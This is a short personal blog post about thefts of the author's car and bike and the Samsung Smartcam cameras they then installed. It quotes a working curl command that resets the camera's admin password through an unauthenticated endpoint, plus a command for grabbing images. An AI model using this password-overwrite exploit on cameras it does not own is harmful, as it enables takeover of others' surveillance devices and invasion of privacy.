minor loss

I wrote in June about material science. My old bike and old car withstood time and environment in an impressive way. In the last two months, both have fallen to fellow man -- that third pillar of loss.

The BMW drove away with a dude at the wheel who never paid. The bike was stolen from my workshop last week.

I decided to up my camera game and install a few decent cameras in the workshop and the alley behind. I chose an indoor/outdoor Samsung Smartcam. I was looking for weatherproof camera that would work without a cloud service.

The Samsung seems to fit the bill. Good picture. Easy to install. Works without a cloud. Just right vulnerable. The box suggested that the camera worked with both viable operating systems -- Android and iOS. I hoped for a device that would work with the legacy Mac platform and bash. I was not disappointed.

The camera serves HTTP on port 80 but it wants some kind of activation. No problem! exploitee.rs  (by way of Google) told me that these cameras allow a user to smash the admin credentials. This will do the trick:

curl http://YOUR_CAMERA_IP_ADDRESS/classes/class_admin_privatekey.php --data 'data=NEW%3BYOUR_NEW_ADMIN_PASSWORD'

With this detail out of the way, the camera can serve 1920 x 1080 JPEG images at about a frame a second with this invocation:

curl -u admin:YOUR_NEW_ADMIN_PASSWORD --digest http://YOUR_CAMERA_IP_ADDRESS/cgi-bin/video.cgi?msubmenu=jpg

This was just what I wanted. Images in two minutes without reading a manual or visiting an app store. I expect the cameras work like homework on a snow day -- their happy functioning will practically guarantee no crime for a decade.